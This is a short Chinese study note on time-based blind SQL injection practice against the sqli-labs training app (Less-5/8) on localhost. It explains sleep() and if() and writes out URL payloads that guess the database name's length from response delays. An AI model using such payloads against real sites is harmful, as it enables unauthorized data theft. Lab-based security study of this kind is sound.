SQL练习（less-5\8)延时注入

本文为学习笔记，仅限学习交流
不得利用、从事危害国家或人民安全、荣誉和利益等活动

SQL注入 字符型 延时注入
延时型语句： sleep（参数，任意正整数，一般为秒）
If (a,b,c)它的意思就是如果条件A成立，则输出结果B，否则输出结果C
条件语句：Id=1’and if (length长度（database（当前数据库（）)>1,sleep(5),0)
注意：并不是所有的站都有回显位置。 没有回显，用查询组合来判段

http://127.0.0.1/sqli/Less-5/index.php?id=1
字符型的用闭合的形式来判断

通过是否延时，判断数据库名的长度 8位 ， %23 注释符
延时语句： sleep(5）
条件语句： if (length(database())>1,sleep(5),0)

1 是判断语句是否正确的
http://127.0.0.1/sqli/Less-5/index.php?id=1 and if (length(database())>1,sleep(5),0) %23

用延时爆数据库的第一步，查询数据库第一个字母